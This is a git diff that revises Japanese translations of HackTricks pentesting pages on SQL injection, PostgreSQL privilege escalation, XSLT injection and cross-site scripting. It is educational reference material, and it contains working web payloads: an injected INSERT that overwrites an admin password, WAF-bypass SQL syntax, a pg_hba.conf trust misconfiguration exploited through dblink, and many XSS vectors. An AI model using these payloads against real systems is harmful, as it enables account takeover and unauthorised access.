**SQLトランケーション攻撃**(ユーザー名やメールに**長さ制限**がある場合) --> 名前を**admin \[たくさんのスペース] a**にしてユーザーを作成する #### SQLトランケーション攻撃 データベースが脆弱で、ユーザー名の最大文字数が例えば30の場合、ユーザー**admin**を偽装したい場合は、"_admin \[30スペース] a_"というユーザー名を作成し、任意のパスワードを使用してみてください。 -データベースは、入力された**ユーザー名**がデータベース内に**存在するか**を**確認**します。もし**存在しなければ**、**ユーザー名**を**最大許可文字数**(この場合は"_admin \[25スペース]_"に)**切り詰め**、その後、データベース内でユーザー"**admin**"を**新しいパスワード**で更新する際に**末尾のすべてのスペースを自動的に削除**します(エラーが表示される可能性がありますが、これは成功しなかったことを意味しません)。 +データベースは、入力された**ユーザー名**がデータベース内に**存在するか**を**確認**します。もし**存在しなければ**、**ユーザー名**を**最大許可文字数**(この場合は"_admin \[25スペース]_"に)**切り捨て**、その後、**自動的に末尾のすべてのスペースを削除して**データベース内のユーザー"**admin**"を**新しいパスワード**で更新します(エラーが表示される可能性がありますが、これは成功しなかったことを意味しません)。 詳細情報: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref) -_注: この攻撃は、最新のMySQLインストールでは上記のようには機能しなくなります。比較はデフォルトで末尾の空白を無視しますが、フィールドの長さよりも長い文字列を挿入しようとするとエラーが発生し、挿入は失敗します。このチェックに関する詳細情報は:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation) +_注:この攻撃は、最新のMySQLインストールでは上記のようには機能しなくなります。比較はデフォルトで末尾の空白を無視しますが、フィールドの長さよりも長い文字列を挿入しようとするとエラーが発生し、挿入は失敗します。このチェックに関する詳細情報は:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation) ### MySQL挿入時間ベースのチェック @@ -336,19 +336,19 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20- ``` ### ON DUPLICATE KEY UPDATE -`ON DUPLICATE KEY UPDATE`句は、MySQLで、UNIQUEインデックスまたはPRIMARY KEYで重複する値を生成する行を挿入しようとしたときに、データベースが取るべきアクションを指定するために使用されます。以下の例は、この機能がどのように悪用されて管理者アカウントのパスワードを変更するために利用されるかを示しています。 +`ON DUPLICATE KEY UPDATE`句は、MySQLで、UNIQUEインデックスまたはPRIMARY KEYで重複する値をもたらす行を挿入しようとしたときに、データベースが取るべきアクションを指定するために使用されます。以下の例は、この機能がどのように悪用されて管理者アカウントのパスワードを変更するために使用されるかを示しています。 Example Payload Injection: -注入ペイロードは次のように作成される可能性があり、`users`テーブルに2行を挿入しようとしています。最初の行はおとりで、2番目の行は既存の管理者のメールアドレスをターゲットにしてパスワードを更新する意図があります: +注入ペイロードは次のように作成される可能性があり、`users`テーブルに2行を挿入しようとしています。最初の行はおとりで、2行目は既存の管理者のメールアドレスをターゲットにしてパスワードを更新する意図があります: ```sql INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- "; ``` -以下のように機能します: +以下はその仕組みです: -- クエリは、`generic_user@example.com`用の1行と、`admin_generic@example.com`用のもう1行を挿入しようとします。 -- `admin_generic@example.com`用の行がすでに存在する場合、`ON DUPLICATE KEY UPDATE`句がトリガーされ、MySQLに既存の行の`password`フィールドを"bcrypt_hash_of_newpassword"に更新するよう指示します。 -- その結果、`admin_generic@example.com`を使用して、bcryptハッシュに対応するパスワードで認証を試みることができます("bcrypt_hash_of_newpassword"は新しいパスワードのbcryptハッシュを表し、実際のパスワードのハッシュに置き換える必要があります)。 +- クエリは2つの行を挿入しようとします:1つは `generic_user@example.com` 用、もう1つは `admin_generic@example.com` 用です。 +- `admin_generic@example.com` の行がすでに存在する場合、`ON DUPLICATE KEY UPDATE` 句がトリガーされ、MySQLに既存の行の `password` フィールドを "bcrypt_hash_of_newpassword" に更新するよう指示します。 +- その結果、`admin_generic@example.com` を使用して、bcryptハッシュに対応するパスワードで認証を試みることができます("bcrypt_hash_of_newpassword" は新しいパスワードのbcryptハッシュを表し、実際のパスワードのハッシュに置き換える必要があります)。 ### 情報を抽出する @@ -369,7 +369,7 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will ```sql '+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' ``` -テキストを取得するには、次のようにします: +テキストを取得するには、次のようにします: ```python __import__('binascii').unhexlify(hex(215573607263)[2:]) ``` @@ -393,7 +393,7 @@ __import__('binascii').unhexlify(hex(215573607263)[2:]) ``` ## WAF バイパス -[初期のバイパスはこちらから](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass) +[初期バイパスはこちらから](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass) ### スペースなしバイパス @@ -410,13 +410,13 @@ No Space (%20) - ホワイトスペースの代替を使用してバイパス ```sql ?id=1/*comment*/and/**/1=1/**/-- ``` -空白なし - 括弧を使用してバイパス +ホワイトスペースなし - 括弧を使用してバイパス ```sql ?id=(1)and(1)=(1)-- ``` ### No commas bypass -No Comma - OFFSET、FROM、およびJOINを使用したバイパス +No Comma - OFFSET、FROM、JOINを使用したバイパス ``` LIMIT 0,1 -> LIMIT 1 OFFSET 0 SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). @@ -463,7 +463,7 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database()) ``` このトリックは[https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)から取られました。 -### WAFバイパスサジェスターツール +### WAFバイパス提案ツール {{#ref}} https://github.com/m4ll0k/Atlas diff --git a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md index 7dbd647a7..3c5214fdb 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md @@ -1,8 +1,8 @@ -# ネットワーク - プライベシー昇格、ポートスキャナーとNTLMチャレンジレスポンスの漏洩 +# ネットワーク - プライベス、ポートスキャナーとNTLMチャレンジレスポンスの漏洩 {{#include ../../../banners/hacktricks-training.md}} -**詳細情報は** [**元の論文でこれらの攻撃についてもっと知る**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)ことができます。 +**詳細** [**これらの攻撃に関する情報は元の論文で確認できます**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)。 **PostgreSQL 9.1**以降、追加モジュールのインストールは簡単です。[`dblink`](https://www.postgresql.org/docs/current/contrib.html)のような登録された拡張機能は、[`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html)を使用してインストールできます: ```sql @@ -12,21 +12,21 @@ dblinkがロードされると、いくつかの興味深いトリックを実 ### 特権昇格 -ファイル `pg_hba.conf` が不適切に構成されていると、**パスワードを知らなくても** **任意のユーザーとしてlocalhostからの接続を許可する** 可能性があります。このファイルは通常 `/etc/postgresql/12/main/pg_hba.conf` にあり、不適切な構成は次のようになります。 +ファイル `pg_hba.conf` が不適切に構成されていると、**パスワードを知らなくても** **任意のユーザーとしてlocalhostからの接続を許可する** 可能性があります。このファイルは通常 `/etc/postgresql/12/main/pg_hba.conf` にあり、不適切な構成は次のようになります: ``` local all all trust ``` _この設定は、管理者がデータベースユーザーのパスワードを忘れたときにパスワードを変更するために一般的に使用されるため、時々見つけることがあります。_\ -&#xNAN;_また、ファイル pg_hba.conf は postgres ユーザーとグループによってのみ読み取り可能で、postgres ユーザーによってのみ書き込み可能であることに注意してください。_ +_また、pg_hba.confファイルはpostgresユーザーとグループによってのみ読み取り可能で、postgresユーザーによってのみ書き込み可能であることに注意してください。_ -このケースは、**すでに**被害者の**シェル**を持っている場合に**便利**であり、postgresql データベースに接続することを可能にします。 +このケースは、**すでに**被害者の**シェル**を持っている場合に**便利**であり、postgresqlデータベースに接続することを可能にします。 別の可能な誤設定は、次のようなものです: ``` host all all 127.0.0.1/32 trust ``` ローカルホストから誰でも任意のユーザーとしてデータベースに接続できるようになります。\ -この場合、**`dblink`** 関数が **動作している** 場合、既に確立された接続を通じてデータベースに接続し、アクセスできないはずのデータにアクセスすることで **権限を昇格** させることができます: +この場合、**`dblink`** 関数が **動作している** 場合、既に確立された接続を通じてデータベースに接続することで **権限を昇格** させ、アクセスできないはずのデータにアクセスすることができます: ```sql SELECT * FROM dblink('host=127.0.0.1 user=postgres diff --git a/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md b/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md index 522d85cc3..1587a1c35 100644 --- a/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md +++ b/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md @@ -4,15 +4,15 @@ ## 基本情報 -XSLTは、XMLドキュメントを異なるフォーマットに変換するために使用される技術です。バージョン1、2、3の3つのバージョンがあり、バージョン1が最も一般的に利用されています。変換プロセスは、サーバー上またはブラウザ内で実行できます。 +XSLTは、XMLドキュメントを異なるフォーマットに変換するために使用される技術です。バージョンは1、2、3の3つがあり、バージョン1が最も一般的に利用されています。変換プロセスは、サーバー上またはブラウザ内で実行できます。 最も頻繁に使用されるフレームワークには以下が含まれます: -- **Libxslt**(Gnome製)、 -- **Xalan**(Apache製)、 -- **Saxon**(Saxonica製)。 +- **Libxslt** from Gnome, +- **Xalan** from Apache, +- **Saxon** from Saxonica. -XSLTに関連する脆弱性を悪用するには、xslタグがサーバーサイドに保存され、そのコンテンツにアクセスする必要があります。このような脆弱性の例は、以下のソースに記載されています:[https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)。 +XSLTに関連する脆弱性を悪用するには、xslタグがサーバーサイドに保存され、そのコンテンツにアクセスする必要があります。このような脆弱性の例は、以下のソースに記載されています: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/). ## 例 - チュートリアル ```bash @@ -105,7 +105,7 @@ Supports Backwards Compatibility: `がエンコードまたは削除されている)、タグに応じてJSコードを実行する**イベント**を作成できるかもしれません:`" autofocus onfocus=alert(1) x="` -3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、あなたの値が反映されている**属性**に応じて、**全体を制御しているか一部だけを制御しているか**によって悪用できるかもしれません。例えば、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`** +3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、あなたの値が反映されている**属性**に応じて、**すべての値を制御しているか、一部だけを制御しているか**によって悪用できるかもしれません。例えば、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`** 4. あなたの入力が**「悪用できないタグ」**内に反映されている場合、脆弱性を悪用するために**`accesskey`**トリックを試みることができます(これを悪用するには何らかの社会工学が必要です):**`" accesskey="x" onclick="alert(1)" x="** -クラス名を制御している場合のAngularによるXSSの奇妙な例: +クラス名を制御する場合のAngularによるXSSの奇妙な例: ```html
aaa @@ -83,7 +83,7 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoistingは、**関数、変数、またはクラスを使用した後に宣言する機会を指し、未宣言の変数や関数を使用するXSSのシナリオを悪用できることを意味します。**\ +Javascript Hoistingは、**関数、変数、またはクラスを使用した後に宣言する機会を指し、未宣言の変数や関数を使用するXSSのシナリオを悪用することができます。**\ **詳細については、以下のページを確認してください:** {{#ref}} @@ -98,7 +98,7 @@ js-hoisting.md ![](<../../images/image (711).png>) -脆弱性がある場合、**値を送信するだけでアラートをトリガーできる可能性があります: **`?callback=alert(1)`**。ただし、これらのエンドポイントは、**内容を検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です(**`[\w\._]`**)。** +もし脆弱であれば、**値を送信するだけでアラートをトリガーできる可能性があります: **`?callback=alert(1)`**。ただし、これらのエンドポイントは、**内容を検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です(**`[\w\._]`**)。** しかし、その制限があっても、いくつかのアクションを実行することは依然として可能です。これは、有効な文字を使用して**DOM内の任意の要素にアクセスできるためです**: @@ -124,13 +124,13 @@ some-same-origin-method-execution.md ### DOM -**JSコード**が、攻撃者によって制御される**データ**(例: `location.href`)を**安全でない**方法で使用しています。攻撃者は、これを悪用して任意のJSコードを実行することができます。 +**JSコード**が、攻撃者によって制御される**データ**を**安全でない方法で**使用しています。例えば、`location.href`。攻撃者は、これを悪用して任意のJSコードを実行することができます。 {{#ref}} dom-xss.md {{#endref}} -### **ユニバーサルXSS** +### **Universal XSS** この種のXSSは**どこにでも**見つけることができます。これは、Webアプリケーションのクライアントの悪用だけでなく、**あらゆる** **コンテキスト**に依存します。この種の**任意のJavaScript実行**は、**RCE**を取得したり、クライアントやサーバーの**任意のファイルを読み取ったり**するために悪用されることさえあります。\ いくつかの**例**: @@ -149,9 +149,9 @@ server-side-xss-dynamic-pdf.md ## 生のHTML内に注入 -あなたの入力が**HTMLページ内に反映される**場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、最初に行うべきことは、`<`を悪用して新しいタグを作成できるかどうかを確認することです: その**文字**を**反映**させて、それが**HTMLエンコード**されているか、**削除**されているか、または**変更なしで反映**されているかを確認してください。**最後のケースでのみ、このケースを悪用できるでしょう**。\ -この場合も、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)**を考慮してください。**\ -&#xNAN;_**注: HTMLコメントは、\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*または\*\*\*\*\*\***`--!>`\*\**で閉じることができます。_ +あなたの入力が**HTMLページ内に反映される**場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、最初に行うべきことは、`<`を悪用して新しいタグを作成できるかどうかを確認することです: その**文字**を**反映**させて、それが**HTMLエンコード**されているか、**削除**されているか、または**変更なしで反映されている**かを確認してください。**最後のケースでのみ、このケースを悪用できるでしょう**。\ +この場合も、**Client Side Template Injection**を考慮してください[**Client Side Template Injection**](../client-side-template-injection-csti.md)**。**\ +_**注: HTMLコメントは、\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*または\*\*\*\*\*\***`--!>`\*\**で閉じることができます。_ この場合、ブラックリスト/ホワイトリストが使用されていない場合、次のようなペイロードを使用できます: ```html @@ -250,7 +250,7 @@ To check in which characters are decomposed check [here](https://www.compart.com ### Inside the tag/escaping from attribute value **HTMLタグの内部にいる**場合、最初に試すべきことは、タグから**エスケープ**し、[前のセクション](#injecting-inside-raw-html)で言及された技術のいくつかを使用してJSコードを実行することです。\ -もし**タグからエスケープできない**場合、タグ内に新しい属性を作成してJSコードを実行しようとすることができます。例えば、(_この例では属性からエスケープするために二重引用符が使用されていますが、入力がタグ内に直接反映される場合は必要ありません_): +タグから**エスケープできない**場合、タグ内に新しい属性を作成してJSコードを実行しようとすることができます。例えば、(_この例では属性からエスケープするために二重引用符が使用されていますが、入力がタグ内に直接反映される場合は必要ありません_): ```bash " autofocus onfocus=alert(document.domain) x=" " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t @@ -267,12 +267,12 @@ To check in which characters are decomposed check [here](https://www.compart.com ``` ### 属性内で -たとえ**属性から逃げることができなくても**(`"`がエンコードまたは削除されている場合)、**どの属性**にあなたの値が反映されているかに応じて、**すべての値を制御しているか、一部だけを制御しているか**によって、悪用することができます。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。\ +たとえ**属性から逃げることができなくても**(`"`がエンコードまたは削除されている場合)、**どの属性**に値が反映されているかによって、**値全体を制御しているのか一部だけを制御しているのか**に応じて、それを悪用できる場合があります。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。\ もう一つの興味深い**例**は、属性`href`で、`javascript:`プロトコルを使用して任意のコードを実行できることです:**`href="javascript:alert(1)"`** **HTMLエンコーディング/URLエンコードを使用したイベント内のバイパス** -HTMLタグ属性の値内の**HTMLエンコードされた文字**は**ランタイムでデコードされます**。したがって、次のようなものが有効になります(ペイロードは太字で示されています):`戻る ` +HTMLタグ属性の値内の**HTMLエンコードされた文字**は**実行時にデコードされます**。したがって、次のようなものが有効になります(ペイロードは太字で示されています):`戻る` **あらゆる種類のHTMLエンコードが有効であることに注意してください**: ```javascript @@ -291,7 +291,7 @@ HTMLタグ属性の値内の**HTMLエンコードされた文字**は**ランタ a a ``` -**URLエンコードも機能することに注意してください:** +**URLエンコードも機能します:** ```python Click ``` @@ -351,7 +351,7 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode ```javascript ``` -さらに、これらのケースには別の**素晴らしいトリック**があります:**`javascript:...`内の入力がURLエンコードされていても、実行される前にURLデコードされます。** したがって、**シングルクォート**を使用して**文字列**から**エスケープ**する必要がある場合、**URLエンコードされている**のを見ても、**問題ありません。** 実行時に**シングルクォート**として**解釈されます。** +さらに、これらのケースには別の**良いトリック**があります:**`javascript:...`内の入力がURLエンコードされていても、実行される前にURLデコードされます。** したがって、**シングルクォート**を使用して**文字列**から**エスケープ**する必要がある場合、**URLエンコードされている**のを見たら、**それは重要ではありません。** 実行時に**シングルクォート**として**解釈**されます。 ```javascript '-alert(1)-' %27-alert(1)-%27 @@ -383,7 +383,7 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode ../reverse-tab-nabbing.md {{#endref}} -### イベントハンドラーバイパスについて +### イベントハンドラのバイパスについて まず、役立つ**"on"イベントハンドラ**についてはこのページを確認してください([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))。\ このイベントハンドラの作成を妨げるブラックリストがある場合は、次のバイパスを試すことができます: @@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
Newsletter popup
``` -[**こちら**](https://portswigger.net/research/xss-in-hidden-input-fields): **隠し属性**内で**XSSペイロード**を実行できますが、**犠牲者**に**キーの組み合わせ**を押すように**説得**する必要があります。FirefoxのWindows/Linuxではキーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。アクセスキー属性で異なるキーを使用して異なるキーの組み合わせを指定できます。ここにベクターがあります: +[**こちら**](https://portswigger.net/research/xss-in-hidden-input-fields)から: **隠し属性**内で**XSSペイロード**を実行できますが、**犠牲者**に**キーの組み合わせ**を押すように**説得**する必要があります。FirefoxのWindows/Linuxではキーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。アクセスキー属性で異なるキーを使用して異なるキーの組み合わせを指定できます。ここにベクターがあります: ```markup ``` @@ -460,7 +460,7 @@ onbeforetoggle="alert(2)" /> > \#someid {top: 0; font-family: Tahoma;} -今、リンクを変更して次の形式にすることができます +今、リンクを次の形式に変更できます > \
@@ -488,7 +488,7 @@ onbeforetoggle="alert(2)" /> ``` ### テンプレートリテラル \`\` -**文字列**を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `** も受け入れます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\ +**文字列**を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\ したがって、バックティックを使用しているJS文字列内に入力が**反映**されていることがわかった場合、構文`${ ... }`を悪用して**任意のJSコード**を実行することができます: これは次のように**悪用**できます: @@ -574,7 +574,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8 String.fromCharCode(8233) alert("//\u2029alert(1)") //0xe2 0x80 0xa9 ``` -**JavaScriptのホワイトスペース** +**JavaScriptの空白** ```javascript log=[]; function funct(){} @@ -676,7 +676,7 @@ try{throw onerror=alert}catch{throw 1} - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) -**任意の関数 (alert) 呼び出し** +**任意の関数(alert)呼び出し** ````javascript //Eval like functions eval('ale'+'rt(1)') @@ -738,21 +738,21 @@ top[8680439..toString(30)](1) ```` ## **DOMの脆弱性** -攻撃者によって制御された**安全でないデータ**を使用している**JSコード**があります。例えば、`location.href`のようなものです。攻撃者はこれを悪用して任意のJSコードを実行することができます。\ -**DOMの脆弱性に関する説明が長くなったため、** [**このページに移動しました**](dom-xss.md)**:** +攻撃者によって制御される**安全でないデータ**を使用している**JSコード**があります。例えば、`location.href`のようなものです。攻撃者はこれを悪用して任意のJSコードを実行することができます。\ +**DOMの脆弱性に関する説明が拡張されたため、** [**このページに移動しました**](dom-xss.md)**:** {{#ref}} dom-xss.md {{#endref}} -そこでは、**DOMの脆弱性とは何か、どのように引き起こされるのか、そしてどのように悪用されるのかについての詳細な説明**が見つかります。\ -また、**前述の投稿の最後に** [**DOM Clobbering攻撃**](dom-xss.md#dom-clobbering)についての説明があることを忘れないでください。 +そこでは、**DOMの脆弱性とは何か、どのように引き起こされ、どのように悪用されるかについての詳細な説明**が見つかります。\ +また、**前述の投稿の最後に**、[**DOM Clobbering攻撃**](dom-xss.md#dom-clobbering)についての説明があることを忘れないでください。 ### Self-XSSのアップグレード ### Cookie XSS -もしペイロードをクッキー内に送信することでXSSをトリガーできる場合、これは通常self-XSSです。しかし、**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメインまたは他のサブドメイン(クッキーXSSに対して脆弱なもの)でクッキーXSSをトリガーすることができます。このために、クッキー投げ攻撃を使用できます: +もしペイロードをクッキー内に送信することでXSSをトリガーできる場合、これは通常self-XSSです。しかし、もし**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメインまたは他のサブドメイン(クッキーXSSに対して脆弱なもの)でクッキーXSSをトリガーすることができます。このために、クッキー投げ攻撃を使用できます: {{#ref}} ../hacking-with-cookies/cookie-tossing.md @@ -766,7 +766,7 @@ dom-xss.md ### セッションミラーリング -self XSSを見つけ、ウェブページに**管理者用のセッションミラーリング**がある場合、例えばクライアントが助けを求めることを許可し、管理者があなたを助けるために、彼は自分のセッションからあなたのセッションで見ているものを見ます。 +self XSSを見つけ、ウェブページに**管理者用のセッションミラーリング**がある場合、例えばクライアントが助けを求めることを許可し、管理者があなたを助けるために、彼は自分のセッションからあなたのセッションで見ているものを見ていることになります。 あなたは**管理者にself XSSをトリガーさせて、彼のクッキー/セッションを盗む**ことができます。 @@ -823,20 +823,20 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` -### 302レスポンスにおけるヘッダーインジェクションを用いたXSS +### XSS with header injection in a 302 response -**302リダイレクトレスポンスにヘッダーをインジェクトできる**ことがわかった場合、**ブラウザに任意のJavaScriptを実行させる**ことを試みることができます。これは**簡単ではありません**。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味だからです。 +もし**302リダイレクトレスポンスにヘッダーを注入できる**ことがわかった場合、**ブラウザに任意のJavaScriptを実行させる**ことを試みることができます。これは**簡単ではありません**。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味だからです。 [**このレポート**](https://www.gremwell.com/firefox-xss-302)や[**こちら**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)では、Locationヘッダー内でいくつかのプロトコルをテストし、それらのいずれかがブラウザにボディ内のXSSペイロードを検査して実行させることを許可するかどうかを確認する方法を読むことができます。\ 過去に知られているプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _空のLocationヘッダー_, `resource://`。 -### 文字、数字、ドットのみ +### Only Letters, Numbers and Dots -**コールバック**を示すことができる場合、javascriptが**実行する**のはこれらの文字に制限されます。[**この投稿のこのセクションを読む**](#javascript-function)ことで、この動作を悪用する方法を見つけることができます。 +もし**コールバック**を示すことができる場合、javascriptが**実行する**のはこれらの文字に制限されます。[**この投稿のこのセクションを読む**](#javascript-function)ことで、この動作を悪用する方法を見つけることができます。 -### XSSに対する有効な`